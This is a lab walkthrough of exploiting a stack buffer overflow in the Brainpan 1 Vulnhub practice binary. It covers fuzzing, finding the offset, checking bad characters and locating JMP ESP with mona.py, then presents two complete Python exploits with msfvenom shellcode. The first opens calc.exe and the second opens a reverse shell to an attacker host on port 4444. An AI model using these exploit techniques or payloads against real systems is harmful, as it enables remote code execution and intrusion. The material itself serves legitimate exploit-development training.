🤖 Brainpan 1 Buffer Overflow – Python Toolkit

Steps to reproduce a Buffer Overflow using only the binary *.exe of Brainpan 1 Vulnhub.

This article don’t pretends to be an educational guide or a “write-up”, because is a simple way to “learn and share” trying to improve my basic knowledge about reverse engineering, and my English-writing.

This article is part of the repository Stack Buffer Overflow Python Toolkit; if you need more context and access to the Python scripts, visit the repository.

Update (08/12/2021): Additionally, I may make changes to this article in the coming weeks, as I modify the Python scripts.

1. First step: 01-socker.py

Using 01-socker.py:

python3 01-socker.py -ip 192.168.0.7 -sp 9999

Note about 01-socker.py: the socket connection don’t receive and send all communications, you need edit to receive and send username and password. Remember, is a *.py template script.

2. Second step: 02-crasher.py

Using 02-crasher.py:

python3 02-crasher.py -ip 192.168.0.7 -sp 9999 -lt A

Well, 02-crasher.py say brainpan.exe crash with 600 A characters, so, now I need repeat the crash but now with brainpan.exe attached to Immunity Debugger, in order to review if is possible or not overwrite the EIP, and yes, works:

Note about 02-crasher.py: this script only works using the username as entry-point!

3. Third step: 03-eiper.py and mona.py

Before to the use of 03-eiper.py, as option, is possible configure and set the path of the outputs using mona.py:

!mona config -set workingfolder C:\Documents and Settings\r4d!kl\Desktop\brainpan

Now, I have the amount of characters to generate a pattern (600) with mona.py:

!mona pattern_create 600

Using 03-eiper.py:

python3 03-eiper.py -ip 192.168.0.7 -sp 9999 -pt Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9

EIP value: 35724134 (0x35724134)

Find the offset value using mona.py:

!mona pattern_offset 35724134

The offset value is: 524

4. Fourth step: 04-controller.py

Usage of 04-controller.py are really simple:

python3 04-controller.py -ip 192.168.0.7 -sp 9999 -ep 524 -lt C -sh 400

And the EIP was successfully overwritten with 43 hexadecimal value of C letter:

5. Fifth step: 05-badcharer.py and mona.py

This step is one of the most import, because it depends on this to fail or exploit successfully the Buffer Overflow.

Generate a bytearray with all characters:

!mona bytearray

To use 05-badcharer.py, copy the bytearray of characters into the *.py template code:

python3 05-badcharer.py

And to find possible bad-chars, use compare option of mona.py, taking the address from the stack:

!mona compare -f "C:\Documents and Settings\r4d!kl\Desktop\brainpan\bytearray.bin" -a 0x022FD90

“\x80” is a badchar, but “\x00” is typically bad-char, so I need consider both badchars for our Python exploit.

As the same time, is recommended generate a bytearray of characters excluding the “\x00” badchar, or remove manually from 05-badcharer.py:

!mona bytearray -cpb "\x00"

And with that, is possible confirm the existence of the two badchars!

6. Sixth step: 06-calc.py, mona.py and Msfvenom

Before to write the exploit, is necessary find a JMP ESP, and with this value, write a some type of PoC exploit, to validate all process and the collected information.

There are multiple ways to find a JMP ESP, but the easier and quickly way:

Inspect the “modules” related to the binary files (*.dll, the same binary file, etc.), for identification to lack of ASLR, and other security protections:

!mona modules

With the module identified, it’s already possible find a JMP ESP:

!mona find -s "\xff\xe4" -m brainpan.exe
!mona jmp -r ESP -m "brainpan.exe"

JMP ESP value: 0x311712f3 (\xf3\x12\x17\x31)

Time to write the first exploit PoC; mission, open the calc.exe. For that, is necessary generate a shellcode with Msfvenom, excluding the badchars:

msfvenom --platform windows --arch x86 --payload windows/exec CMD=calc.exe EXITFUNC=thread --encoder x86/shikata_ga_nai  --bad-chars "\x00\x80" --format python

The Python template:

#!/usr/bin/python3
#_*_ coding: utf8 _*_

import socket

buf =  ""
buf += "\xbe\x02\x5d\x99\x45\xdb\xcc\xd9\x74\x24\xf4\x58\x31"
buf += "\xc9\xb1\x31\x83\xc0\x04\x31\x70\x0f\x03\x70\x0d\xbf"
buf += "\x6c\xb9\xf9\xbd\x8f\x42\xf9\xa1\x06\xa7\xc8\xe1\x7d"
buf += "\xa3\x7a\xd2\xf6\xe1\x76\x99\x5b\x12\x0d\xef\x73\x15"
buf += "\xa6\x5a\xa2\x18\x37\xf6\x96\x3b\xbb\x05\xcb\x9b\x82"
buf += "\xc5\x1e\xdd\xc3\x38\xd2\x8f\x9c\x37\x41\x20\xa9\x02"
buf += "\x5a\xcb\xe1\x83\xda\x28\xb1\xa2\xcb\xfe\xca\xfc\xcb"
buf += "\x01\x1f\x75\x42\x1a\x7c\xb0\x1c\x91\xb6\x4e\x9f\x73"
buf += "\x87\xaf\x0c\xba\x28\x42\x4c\xfa\x8e\xbd\x3b\xf2\xed"
buf += "\x40\x3c\xc1\x8c\x9e\xc9\xd2\x36\x54\x69\x3f\xc7\xb9"
buf += "\xec\xb4\xcb\x76\x7a\x92\xcf\x89\xaf\xa8\xeb\x02\x4e"
buf += "\x7f\x7a\x50\x75\x5b\x27\x02\x14\xfa\x8d\xe5\x29\x1c"
buf += "\x6e\x59\x8c\x56\x82\x8e\xbd\x34\xc8\x51\x33\x43\xbe"
buf += "\x52\x4b\x4c\xee\x3a\x7a\xc7\x61\x3c\x83\x02\xc6\xa2"
buf += "\x61\x87\x32\x4b\x3c\x42\xff\x16\xbf\xb8\xc3\x2e\x3c"
buf += "\x49\xbb\xd4\x5c\x38\xbe\x91\xda\xd0\xb2\x8a\x8e\xd6"
buf += "\x61\xaa\x9a\xb4\xe4\x38\x46\x15\x83\xb8\xed\x69"

xp = "192.168.0.7"
port = 9999

A = "\x41" * 524
jmp_esp = "\xF3\x12\x17\x31"
nops = "\x90" * 20

calc_payload = A + jmp_esp + nops + buf

try:
	sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	sock.connect((xp,port))
	sock.recv(1024)			
	sock.send(calc_payload)
except ConnectionRefusedError:
    print("Connection error. Review the IP address or port.")
    exit()
except socket.timeout:
    sock.close()
    print("\nConnection error. Timeout!")
except socket.error:
    sock.close()
    pass
except KeyboardInterrupt:
    sock.close()
    print("\n\nConnection closed. Bye!")
    exit()

Note about 06-calc.py: pay attention to the execution of the script, is “python” not “python3”.

7. Seventh step: 07-exploit.py and Msfvenom

Having all the information validated, use Msfvenom to generate now a shellcode to make reverse connection:

msfvenom --platform windows --arch x86 --payload windows/shell_reverse_tcp LHOST=192.168.0.11 LPORT=4444 EXITFUNC=thread --encoder x86/shikata_ga_nai  --bad-chars '\x00\x80' --format python

The Python template:

#!/usr/bin/python3
#_*_ coding: utf8 _*_

import socket

buf =  ""
buf += "\xbb\x4c\x30\x14\x84\xda\xd7\xd9\x74\x24\xf4\x5a\x2b"
buf += "\xc9\xb1\x52\x31\x5a\x12\x03\x5a\x12\x83\xa6\xcc\xf6"
buf += "\x71\xca\xc5\x75\x79\x32\x16\x1a\xf3\xd7\x27\x1a\x67"
buf += "\x9c\x18\xaa\xe3\xf0\x94\x41\xa1\xe0\x2f\x27\x6e\x07"
buf += "\x87\x82\x48\x26\x18\xbe\xa9\x29\x9a\xbd\xfd\x89\xa3"
buf += "\x0d\xf0\xc8\xe4\x70\xf9\x98\xbd\xff\xac\x0c\xc9\x4a"
buf += "\x6d\xa7\x81\x5b\xf5\x54\x51\x5d\xd4\xcb\xe9\x04\xf6"
buf += "\xea\x3e\x3d\xbf\xf4\x23\x78\x09\x8f\x90\xf6\x88\x59"
buf += "\xe9\xf7\x27\xa4\xc5\x05\x39\xe1\xe2\xf5\x4c\x1b\x11"
buf += "\x8b\x56\xd8\x6b\x57\xd2\xfa\xcc\x1c\x44\x26\xec\xf1"
buf += "\x13\xad\xe2\xbe\x50\xe9\xe6\x41\xb4\x82\x13\xc9\x3b"
buf += "\x44\x92\x89\x1f\x40\xfe\x4a\x01\xd1\x5a\x3c\x3e\x01"
buf += "\x05\xe1\x9a\x4a\xa8\xf6\x96\x11\xa5\x3b\x9b\xa9\x35"
buf += "\x54\xac\xda\x07\xfb\x06\x74\x24\x74\x81\x83\x4b\xaf"
buf += "\x75\x1b\xb2\x50\x86\x32\x71\x04\xd6\x2c\x50\x25\xbd"
buf += "\xac\x5d\xf0\x12\xfc\xf1\xab\xd2\xac\xb1\x1b\xbb\xa6"
buf += "\x3d\x43\xdb\xc9\x97\xec\x76\x30\x70\xd3\x2f\x3a\x8b"
buf += "\xbb\x2d\x3a\x9a\x67\xbb\xdc\xf6\x87\xed\x77\x6f\x31"
buf += "\xb4\x03\x0e\xbe\x62\x6e\x10\x34\x81\x8f\xdf\xbd\xec"
buf += "\x83\x88\x4d\xbb\xf9\x1f\x51\x11\x95\xfc\xc0\xfe\x65"
buf += "\x8a\xf8\xa8\x32\xdb\xcf\xa0\xd6\xf1\x76\x1b\xc4\x0b"
buf += "\xee\x64\x4c\xd0\xd3\x6b\x4d\x95\x68\x48\x5d\x63\x70"
buf += "\xd4\x09\x3b\x27\x82\xe7\xfd\x91\x64\x51\x54\x4d\x2f"
buf += "\x35\x21\xbd\xf0\x43\x2e\xe8\x86\xab\x9f\x45\xdf\xd4"
buf += "\x10\x02\xd7\xad\x4c\xb2\x18\x64\xd5\xd2\xfa\xac\x20"
buf += "\x7b\xa3\x25\x89\xe6\x54\x90\xce\x1e\xd7\x10\xaf\xe4"
buf += "\xc7\x51\xaa\xa1\x4f\x8a\xc6\xba\x25\xac\x75\xba\x6f"

xp = "192.168.0.7"
port = 9999

A = "\x41" * 524
jmp_esp = "\xF3\x12\x17\x31"
nops = "\x90" * 20

calc_payload = A + jmp_esp + nops + buf

try:
	sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	sock.connect((xp,port))
	sock.recv(1024)			
	sock.send(calc_payload)
except ConnectionRefusedError:
    print("Connection error. Review the IP address or port.")
    exit()
except socket.timeout:
    sock.close()
    print("\nConnection error. Timeout!")
except socket.error:
    sock.close()
    pass
except KeyboardInterrupt:
    sock.close()
    print("\n\nConnection closed. Bye!")
    exit()

Note about 07-exploit.py: pay attention to the execution of the script, is “python” not “python3”.

More updates soon…